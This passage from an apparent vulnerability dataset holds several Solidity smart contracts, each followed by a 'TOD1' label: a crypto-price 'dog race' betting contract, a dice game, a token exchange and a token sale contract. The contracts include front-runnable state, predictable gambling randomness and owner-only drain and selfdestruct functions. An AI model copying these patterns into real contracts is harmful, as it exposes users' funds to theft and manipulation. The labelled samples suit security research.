babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) public constant returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) public constant returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function b2s(bytes _b) internal returns (string) { bytes memory output = new bytes(_b.length * 2); uint len = output.length; assembly { let i := 0 let mem := 0 loop: // isolate octet 0x1000000000000000000000000000000000000000000000000000000000000000 exp(0x10, mod(i, 0x40)) // change offset only if needed jumpi(skip, gt(mod(i, 0x40), 0)) // save offset mem for reuse mem := mload(add(_b, add(mul(0x20, div(i, 0x40)), 0x20))) skip: mem mul div dup1 // check if alpha or numerical, jump if numerical 0x0a swap1 lt num jumpi // offset alpha char correctly 0x0a swap1 sub alp: 0x61 add jump(end) num: 0x30 add end: add(output, add(0x20, i)) mstore8 i := add(i, 1) jumpi(loop, gt(len, i)) } return string(output); } } // </ORACLIZE_API_LIB> // File: contracts/DogRace.sol //contract DogRace is usingOraclize { contract DogRace { using SafeMath for uint256; string public constant version = "0.0.5"; uint public constant min_bet = 0.1 ether; uint public constant max_bet = 1 ether; uint public constant house_fee_pct = 5; uint public constant claim_period = 30 days; address public owner; // owner address // Currencies: BTC, ETH, LTC, BCH, XRP uint8 constant dogs_count = 5; // Race states and timing struct chronus_struct { bool betting_open; // boolean: check if betting is open bool race_start; // boolean: check if race has started bool race_end; // boolean: check if race has ended bool race_voided; // boolean: check if race has been voided uint starting_time; // timestamp of when the race starts uint betting_duration; // duration of betting period uint race_duration; // duration of the race } // Single bet information struct bet_info { uint8 dog; // Dog on which the bet is made uint amount; // Amount of the bet } // Dog pool information struct pool_info { uint bets_total; // total bets amount uint pre; // start price uint post; // ending price int delta; // price delta bool post_check; // differentiating pre and post prices in oraclize callback bool winner; // has respective dog won the race? } // Bettor information struct bettor_info { uint bets_total; // total bets amount bool rewarded; // if reward was paid to the bettor bet_info[] bets; // array of bets } mapping (bytes32 => uint) oraclize_query_ids; // mapping oraclize query IDs => dogs mapping (address => bettor_info) bettors; // mapping bettor address => bettor information pool_info[dogs_count] pools; // pools for each currency chronus_struct chronus; // states and timing uint public bets_total = 0; // total amount of bets uint public reward_total = 0; // total amount to be distributed among winners uint public winning_bets_total = 0; // total amount of bets in winning pool(s) uint prices_remaining = dogs_count; // variable to check if all prices are received at the end of the race int max_delta = int256((uint256(1) << 255)); // winner dog(s) delta; initialize to minimal int value // tracking events event OraclizeQuery(string description); event PriceTicker(uint dog, uint price); event Bet(address from, uint256 _value, uint dog); event Reward(address to, uint256 _value); event HouseFee(uint256 _value); // constructor function DogRace() public { owner = msg.sender; oraclizeLib.oraclize_setCustomGasPrice(20000000000 wei); // 20GWei } // modifiers for restricting access to methods modifier onlyOwner { require(owner == msg.sender); _; } modifier duringBetting { require(chronus.betting_open); _; } modifier beforeBetting { require(!chronus.betting_open && !chronus.race_start); _; } modifier afterRace { require(chronus.race_end); _; } // ======== Bettor interface =============================================================================================== // place a bet function place_bet(uint8 dog) external duringBetting payable { require(msg.value >= min_bet && msg.value <= max_bet && dog < dogs_count); bet_info memory current_bet; // Update bettors info current_bet.amount = msg.value; current_bet.dog = dog; bettors[msg.sender].bets.push(current_bet); bettors[msg.sender].bets_total = bettors[msg.sender].bets_total.add(msg.value); // Update pools info pools[dog].bets_total = pools[dog].bets_total.add(msg.value); bets_total = bets_total.add(msg.value); Bet(msg.sender, msg.value, dog); } // fallback method for accepting payments function () private payable {} // method to check the reward amount function check_reward() afterRace external constant returns (uint) { return bettor_reward(msg.sender); } // method to claim the reward function claim_reward() afterRace external { require(!bettors[msg.sender].rewarded); uint reward = bettor_reward(msg.sender); require(reward > 0 && this.balance >= reward); bettors[msg.sender].rewarded = true; msg.sender.transfer(reward); Reward(msg.sender, reward); } // ============================================================================================================================ //oraclize callback method function __callback(bytes32 myid, string result) public { require (msg.sender == oraclizeLib.oraclize_cbAddress()); chronus.race_start = true; chronus.betting_open = false; uint dog_index = oraclize_query_ids[myid]; require(dog_index > 0); // Check if the query id is known dog_index--; oraclize_query_ids[myid] = 0; // Prevent duplicate callbacks if (!pools[dog_index].post_check) { pools[dog_index].pre = oraclizeLib.parseInt(result, 3); // from Oraclize pools[dog_index].post_check = true; // next check for the coin will be ending price check PriceTicker(dog_index, pools[dog_index].pre); } else { pools[dog_index].post = oraclizeLib.parseInt(result, 3); // from Oraclize // calculating the difference in price with a precision of 5 digits pools[dog_index].delta = int(pools[dog_index].post - pools[dog_index].pre) * 10000 / int(pools[dog_index].pre); if (max_delta < pools[dog_index].delta) { max_delta = pools[dog_index].delta; } PriceTicker(dog_index, pools[dog_index].post); prices_remaining--; // How many end prices are to be received if (prices_remaining == 0) { // If all end prices have been received, then process rewards end_race(); } } } // calculate bettor's reward function bettor_reward(address candidate) internal afterRace constant returns(uint reward) { bettor_info storage bettor = bettors[candidate]; if (chronus.race_voided) { reward = bettor.bets_total; } else { if (reward_total == 0) { return 0; } uint winning_bets = 0; for (uint i = 0; i < bettor.bets.length; i++) { if (pools[bettor.bets[i].dog].winner) { winning_bets = winning_bets.add(bettor.bets[i].amount); } } reward = reward_total.mul(winning_bets).div(winning_bets_total); } } // ============= DApp interface ============================================================================================== // exposing pool details for DApp function get_pool(uint dog) external constant returns (uint, uint, uint, int, bool, bool) { return (pools[dog].bets_total, pools[dog].pre, pools[dog].post, pools[dog].delta, pools[dog].post_check, pools[dog].winner); } // exposing chronus for DApp function get_chronus() external constant returns (bool, bool, bool, bool, uint, uint, uint) { return (chronus.betting_open, chronus.race_start, chronus.race_end, chronus.race_voided, chronus.starting_time, chronus.betting_duration, chronus.race_duration); } // exposing bettor info for DApp function get_bettor_nfo() external constant returns (uint, uint, bool) { bettor_info info = bettors[msg.sender]; return (info.bets_total, info.bets.length, info.rewarded); } // exposing bets info for DApp function get_bet_nfo(uint bet_num) external constant returns (uint, uint) { bettor_info info = bettors[msg.sender]; bet_info b_info = info.bets[bet_num]; return (b_info.dog, b_info.amount); } // =========== race lifecycle management functions ================================================================================ // place the oraclize queries and open betting function setup_race(uint betting_period, uint racing_period) public onlyOwner beforeBetting payable returns(bool) { // We have to send 2 queries for each dog; check if we have enough ether for this require (oraclizeLib.oraclize_getPrice("URL", 500000) * 2 * dogs_count < this.balance); chronus.starting_time = block.timestamp; chronus.betting_open = true; uint delay = betting_period.add(60); //slack time 1 minute chronus.betting_duration = delay; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/bitcoin/).0.price_usd", 500000)] = 1; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/ethereum/).0.price_usd", 500000)] = 2; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/litecoin/).0.price_usd", 500000)] = 3; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/bitcoin-cash/).0.price_usd", 500000)] = 4; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/ripple/).0.price_usd", 500000)] = 5; delay = delay.add(racing_period); oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/bitcoin/).0.price_usd", 500000)] = 1; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/ethereum/).0.price_usd", 500000)] = 2; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/litecoin/).0.price_usd", 500000)] = 3; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/bitcoin-cash/).0.price_usd", 500000)] = 4; oraclize_query_ids[oraclizeLib.oraclize_query(delay, "URL", "json(https://api.coinmarketcap.com/v1/ticker/ripple/).0.price_usd", 500000)] = 5; OraclizeQuery("Oraclize queries were sent"); chronus.race_duration = delay; return true; } // end race and transfer house fee (called internally by callback) function end_race() internal { chronus.race_end = true; // calculate winning pool(s) and their total amount for (uint dog = 0; dog < dogs_count; dog++) { if (pools[dog].delta == max_delta) { pools[dog].winner = true; winning_bets_total = winning_bets_total.add(pools[dog].bets_total); } } // calculate house fee and transfer it to contract owner uint house_fee; if (winning_bets_total == 0) { // No winners => house takes all the money reward_total = 0; house_fee = this.balance; } else { if (winning_bets_total == bets_total) { // All the bettors are winners => void the race => no house fee; everyone gets their bets back chronus.race_voided = true; house_fee = 0; } else { house_fee = bets_total.mul(house_fee_pct).div(100); // calculate house fee as % of total bets } reward_total = bets_total.sub(house_fee); // subtract house_fee from total reward house_fee = this.balance.sub(reward_total); // this.balance will also include remains of kickcstart ether } HouseFee(house_fee); owner.transfer(house_fee); } // in case of any errors in race, enable full refund for the bettors to claim function void_race() external onlyOwner { require(now > chronus.starting_time + chronus.race_duration); require((chronus.betting_open && !chronus.race_start) || (chronus.race_start && !chronus.race_end)); chronus.betting_open = false; chronus.race_voided = true; chronus.race_end = true; } // method to retrieve unclaimed winnings after claim period has ended function recover_unclaimed_bets() external onlyOwner { require(now > chronus.starting_time + chronus.race_duration + claim_period); require(chronus.race_end); owner.transfer(this.balance); } // selfdestruct (returns balance to the owner) function kill() external onlyOwner { selfdestruct(msg.sender); } }
TOD1
//SPACEDICE - https://adapp.games/spacedice //Pick dice 1, dice 2, and place a minimum bet of .001 ETH //Pays x2 for total call, x8 for hard ways, x30 for snake eyes or midnight pragma solidity ^0.4.23; //Randomness by Ñíguez Randomity Engine //https://niguezrandomityengine.github.io/ contract niguezRandomityEngine { function ra() external view returns (uint256); function rx() external view returns (uint256); } contract usingNRE { niguezRandomityEngine internal nre = niguezRandomityEngine(0x031eaE8a8105217ab64359D4361022d0947f4572); function ra() internal view returns (uint256) { return nre.ra(); } function rx() internal view returns (uint256) { return nre.rx(); } } contract Ownable { address owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Mortal is Ownable { function kill() public onlyOwner { selfdestruct(owner); } } contract SPACEDICE is Mortal, usingNRE{ uint minBet = 1000000000000000; //.001 ETH minimum bet event Roll(bool _won, uint256 _dice1, uint256 _dice2, uint256 _roll1, uint256 _roll2, uint _amount); constructor() payable public {} function() public { //fallback revert(); } function bet(uint _diceOne, uint _diceTwo) payable public { require(tx.origin == msg.sender);//Prevent call from a contract require(_diceOne > 0 && _diceOne <= 6); require(_diceTwo > 0 && _diceTwo <= 6); require(msg.value >= minBet); uint256 rollone = ra() % 6 + 1; uint256 rolltwo = rx() % 6 + 1; uint256 totalroll = rollone + rolltwo; uint256 totaldice = _diceOne + _diceTwo; if (totaldice == totalroll) { uint amountWon = msg.value*2;//Pays double for total call if(rollone==rolltwo && _diceOne==_diceTwo) amountWon = msg.value*8;//Pays x8 for hard ways if(totalroll==2 || totalroll==12) amountWon = msg.value*30;//Pays x30 for 11 or 66 if(!msg.sender.send(amountWon)) revert(); emit Roll(true, _diceOne, _diceTwo, rollone, rolltwo, amountWon); } else { emit Roll(false, _diceOne, _diceTwo, rollone, rolltwo, 0); } } function checkContractBalance() public view returns(uint) { return address(this).balance; } //Withdrawal function function collect(uint _amount) public onlyOwner { require(address(this).balance > _amount); owner.transfer(_amount); } }
TOD1
pragma solidity ^0.4.18; contract ERC20_Interface { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract nonNativeToken_Interface is ERC20_Interface { function makeDeposit(address deposit_to, uint256 amount) public returns (bool success); function makeWithdrawal(address withdraw_from, uint256 amount) public returns (bool success); } contract EthWrapper_Interface is nonNativeToken_Interface { function wrapperChanged() public payable; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20_Token is ERC20_Interface{ using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; uint256 public decimals; string public name; string public symbol; function ERC20_Token(string _name,string _symbol,uint256 _decimals) public{ name=_name; symbol=_symbol; decimals=_decimals; } function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); return true; }else return false; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; }else return false; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract nonNativeToken is ERC20_Token, nonNativeToken_Interface{ address public exchange; modifier onlyExchange{ require(msg.sender==exchange); _; } function nonNativeToken(string _name, string _symbol, uint256 _decimals) ERC20_Token(_name, _symbol, _decimals) public{ exchange=msg.sender; } function makeDeposit(address deposit_to, uint256 amount) public onlyExchange returns (bool success){ balances[deposit_to] = balances[deposit_to].add(amount); totalSupply = totalSupply.add(amount); return true; } function makeWithdrawal(address withdraw_from, uint256 amount) public onlyExchange returns (bool success){ if(balances[withdraw_from]>=amount) { balances[withdraw_from] = balances[withdraw_from].sub(amount); totalSupply = totalSupply.sub(amount); return true; } return false; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if(balances[_from] >= _value) { if(msg.sender == exchange) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; }else if(allowed[_from][msg.sender] >= _value) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } } return false; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { if(_spender==exchange){ return balances[_owner]; }else{ return allowed[_owner][_spender]; } } } contract EthWrapper is nonNativeToken, EthWrapper_Interface{ bool isWrapperChanged; function EthWrapper(string _name, string _symbol, uint256 _decimals) nonNativeToken(_name, _symbol, _decimals) public{ isWrapperChanged=false; } modifier notWrapper(){ require(isWrapperChanged); _; } function wrapperChanged() public payable onlyExchange{ require(!isWrapperChanged); isWrapperChanged=true; } function withdrawEther(uint _amount) public notWrapper{ require(balances[msg.sender]>=_amount); balances[msg.sender]=balances[msg.sender].sub(_amount); msg.sender.transfer(_amount); } } contract AdminAccess { mapping(address => uint8) public admins; event AdminAdded(address admin,uint8 access); event AdminAccessChanged(address admin, uint8 old_access, uint8 new_access); event AdminRemoved(address admin); modifier onlyAdmin(uint8 accessLevel){ require(admins[msg.sender]>=accessLevel); _; } function AdminAccess() public{ admins[msg.sender]=2; } function addAdmin(address _admin, uint8 _access) public onlyAdmin(2) { require(admins[_admin] == 0); require(_access > 0); AdminAdded(_admin,_access); admins[_admin]=_access; } function changeAccess(address _admin, uint8 _access) public onlyAdmin(2) { require(admins[_admin] > 0); require(_access > 0); AdminAccessChanged(_admin, admins[_admin], _access); admins[_admin]=_access; } function removeAdmin(address _admin) public onlyAdmin(2) { require(admins[_admin] > 0); AdminRemoved(_admin); admins[_admin]=0; } } contract Managable is AdminAccess { uint public feePercent; address public feeAddress; mapping (string => address) nTokens; event TradingFeeChanged(uint256 _from, uint256 _to); event FeeAddressChanged(address _from, address _to); event TokenDeployed(address _addr, string _name, string _symbol); event nonNativeDeposit(string _token,address _to,uint256 _amount); event nonNativeWithdrawal(string _token,address _from,uint256 _amount); function Managable() AdminAccess() public { feePercent=10; feeAddress=msg.sender; } function setFeeAddress(address _fee) public onlyAdmin(2) { FeeAddressChanged(feeAddress, _fee); feeAddress=_fee; } //1 fee unit equals 0.01% fee function setFee(uint _fee) public onlyAdmin(2) { require(_fee < 100); TradingFeeChanged(feePercent, _fee); feePercent=_fee; } function deployNonNativeToken(string _name,string _symbol,uint256 _decimals) public onlyAdmin(2) returns(address tokenAddress){ address nToken = new nonNativeToken(_name, _symbol, _decimals); nTokens[_symbol]=nToken; TokenDeployed(nToken, _name, _symbol); return nToken; } function depositNonNative(string _symbol,address _to,uint256 _amount) public onlyAdmin(2){ require(nTokens[_symbol] != address(0)); nonNativeToken_Interface(nTokens[_symbol]).makeDeposit(_to, _amount); nonNativeDeposit(_symbol, _to, _amount); } function withdrawNonNative(string _symbol,address _from,uint256 _amount) public onlyAdmin(2){ require(nTokens[_symbol] != address(0)); nonNativeToken_Interface(nTokens[_symbol]).makeWithdrawal(_from, _amount); nonNativeWithdrawal(_symbol, _from, _amount); } function getTokenAddress(string _symbol) public constant returns(address tokenAddress){ return nTokens[_symbol]; } } contract EtherStore is Managable{ bool public WrapperisEnabled; address public EtherWrapper; modifier WrapperEnabled{ require(WrapperisEnabled); _; } modifier PreWrapper{ require(!WrapperisEnabled); _; WrapperSetup(EtherWrapper); WrapperisEnabled=true; } event WrapperSetup(address _wrapper); event WrapperChanged(address _from, address _to); event EtherDeposit(address _to, uint256 _amount); event EtherWithdrawal(address _from, uint256 _amount); function EtherStore() Managable() public { WrapperisEnabled=false; } function setupWrapper(address _wrapper) public onlyAdmin(2) PreWrapper{ EtherWrapper=_wrapper; } function deployWrapper() public onlyAdmin(2) PreWrapper{ EtherWrapper = new EthWrapper('EtherWrapper', 'ETH', 18); } function changeWrapper(address _wrapper) public onlyAdmin(2) WrapperEnabled{ EthWrapper_Interface(EtherWrapper).wrapperChanged.value(this.balance)(); WrapperChanged(EtherWrapper, _wrapper); EtherWrapper = _wrapper; } function deposit() public payable WrapperEnabled{ require(EthWrapper_Interface(EtherWrapper).makeDeposit(msg.sender, msg.value)); EtherDeposit(msg.sender,msg.value); } function depositTo(address _to) public payable WrapperEnabled{ require(EthWrapper_Interface(EtherWrapper).makeDeposit(_to, msg.value)); EtherDeposit(_to,msg.value); } function () public payable { deposit(); } function withdraw(uint _amount) public WrapperEnabled{ require(EthWrapper_Interface(EtherWrapper).balanceOf(msg.sender) >= _amount); require(EthWrapper_Interface(EtherWrapper).makeWithdrawal(msg.sender, _amount)); msg.sender.transfer(_amount); EtherWithdrawal(msg.sender, _amount); } function withdrawTo(address _to,uint256 _amount) public WrapperEnabled{ require(EthWrapper_Interface(EtherWrapper).balanceOf(msg.sender) >= _amount); require(EthWrapper_Interface(EtherWrapper).makeWithdrawal(msg.sender, _amount)); _to.transfer(_amount); EtherWithdrawal(_to, _amount); } } contract Mergex is EtherStore{ using SafeMath for uint256; mapping(address => mapping(bytes32 => uint256)) public fills; event Trade(bytes32 hash, address tokenA, address tokenB, uint valueA, uint valueB); event Filled(bytes32 hash); event Cancel(bytes32 hash); function Mergex() EtherStore() public { } function checkAllowance(address token, address owner, uint256 amount) internal constant returns (bool allowed){ return ERC20_Interface(token).allowance(owner,address(this)) >= amount; } function getFillValue(address owner, bytes32 hash) public view returns (uint filled){ return fills[owner][hash]; } function fillOrder(address owner, address tokenA, address tokenB, uint tradeAmount, uint valueA, uint valueB, uint expiration, uint nonce, uint8 v, bytes32 r, bytes32 s) public{ bytes32 hash=sha256('mergex',owner,tokenA,tokenB,valueA,valueB,expiration,nonce); if(validateOrder(owner,hash,expiration,tradeAmount,valueA,v,r,s)){ if(!tradeTokens(hash, msg.sender, owner, tokenA, tokenB, tradeAmount, valueA, valueB)){ revert(); } fills[owner][hash]=fills[owner][hash].add(tradeAmount); if(fills[owner][hash] == valueA){ Filled(hash); } } } function validateOrder(address owner, bytes32 hash, uint expiration, uint tradeAmount, uint Value, uint8 v, bytes32 r, bytes32 s) internal constant returns(bool success){ require(fills[owner][hash].add(tradeAmount) <= Value); require(block.number<=expiration); require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",hash),v,r,s)==owner); return true; } function cancelOrder(address tokenA, address tokenB, uint valueA, uint valueB, uint expiration, uint nonce, uint8 v, bytes32 r, bytes32 s) public{ bytes32 hash=sha256('mergex', msg.sender, tokenA, tokenB, valueA, valueB, expiration, nonce); require(block.number<=expiration); require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",hash),v,r,s)==msg.sender); Cancel(hash); fills[msg.sender][hash]=valueA; } function tradeTokens(bytes32 hash, address userA,address userB,address tokenA,address tokenB,uint amountA,uint valueA,uint valueB) internal returns(bool success){ uint amountB=valueB.mul(amountA).div(valueA); require(ERC20_Interface(tokenA).balanceOf(userA)>=amountA); require(ERC20_Interface(tokenB).balanceOf(userB)>=amountB); if(!checkAllowance(tokenA, userA, amountA))return false; if(!checkAllowance(tokenB, userB, amountB))return false; uint feeA=amountA.mul(feePercent).div(10000); uint feeB=amountB.mul(feePercent).div(10000); uint tradeA=amountA.sub(feeA); uint tradeB=amountB.sub(feeB); if(!ERC20_Interface(tokenA).transferFrom(userA,userB,tradeA))return false; if(!ERC20_Interface(tokenB).transferFrom(userB,userA,tradeB))return false; if(!ERC20_Interface(tokenA).transferFrom(userA,feeAddress,feeA))return false; if(!ERC20_Interface(tokenB).transferFrom(userB,feeAddress,feeB))return false; Trade(hash, tokenA, tokenB, amountA, amountB); return true; } }
TOD1
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GPC is StandardToken { address public administror; string public name = "Global-Pay Coin"; string public symbol = "GPC"; uint8 public decimals = 18; uint256 public INITIAL_SUPPLY = 1000000000*10**18; mapping (address => uint256) public frozenAccount; bool public exchangeFlag = true; uint256 public minWei = 1; uint256 public maxWei = 200*10**18; uint256 public maxRaiseAmount = 2000*10**18; uint256 public raisedAmount = 0; uint256 public raiseRatio = 10000; // 事件 event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed target, uint256 value); constructor() public { totalSupply_ = INITIAL_SUPPLY; administror = msg.sender; balances[msg.sender] = INITIAL_SUPPLY; } // 自动兑换 function() public payable { require(msg.value > 0); if (exchangeFlag) { if (msg.value >= minWei && msg.value <= maxWei) { if (raisedAmount < maxRaiseAmount) { uint256 valueNeed = msg.value; raisedAmount = raisedAmount.add(msg.value); if (raisedAmount >= maxRaiseAmount) { exchangeFlag = false; } uint256 _value = valueNeed.mul(raiseRatio); require(balances[administror] >= _value); balances[administror] = balances[administror].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); } } else { msg.sender.transfer(msg.value); } } else { msg.sender.transfer(msg.value); } } // 提款 function withdraw(uint256 _amount) public returns (bool) { require(msg.sender == administror); msg.sender.transfer(_amount); return true; } // 增发 function SEOS(uint256 _amount) public returns (bool) { require(msg.sender == administror); balances[msg.sender] = balances[msg.sender].add(_amount); totalSupply_ = totalSupply_.add(_amount); INITIAL_SUPPLY = totalSupply_; return true; } // 锁定帐户 function freezeAccount(address _target, uint _timestamp) public returns (bool) { require(msg.sender == administror); require(_target != address(0)); frozenAccount[_target] = _timestamp; return true; } // 批量锁定帐户 function multiFreezeAccount(address[] _targets, uint _timestamp) public returns (bool) { require(msg.sender == administror); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); frozenAccount[_target] = _timestamp; } return true; } // 转帐 function transfer(address _target, uint256 _amount) public returns (bool) { require(now > frozenAccount[msg.sender]); require(_target != address(0)); require(balances[msg.sender] >= _amount); balances[_target] = balances[_target].add(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Transfer(msg.sender, _target, _amount); return true; } // 批量转帐 function multiTransfer(address[] _targets, uint256[] _amounts) public returns (bool) { require(now > frozenAccount[msg.sender]); uint256 len = _targets.length; require(len > 0); uint256 totalAmount = 0; for (uint256 i = 0; i < len; i = i.add(1)) { totalAmount = totalAmount.add(_amounts[i]); } require(balances[msg.sender] >= totalAmount); for (uint256 j = 0; j < len; j = j.add(1)) { address _target = _targets[j]; uint256 _amount = _amounts[j]; require(_target != address(0)); balances[_target] = balances[_target].add(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Transfer(msg.sender, _target, _amount); } } // 燃烧 function burn(address _target, uint256 _amount) public returns (bool) { require(msg.sender == administror); require(_target != address(0)); require(balances[_target] >= _amount); balances[_target] = balances[_target].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); INITIAL_SUPPLY = totalSupply_; emit Burn(_target, _amount); return true; } // 查询帐户是否被锁定 function frozenOf(address _target) public view returns (uint256) { require(_target != address(0)); return frozenAccount[_target]; } // 修改是否开启兑换 function setExchangeFlag(bool _flag) public returns (bool) { require(msg.sender == administror); exchangeFlag = _flag; return true; } // 修改总体募集上限 function setMaxRaiseAmount(uint256 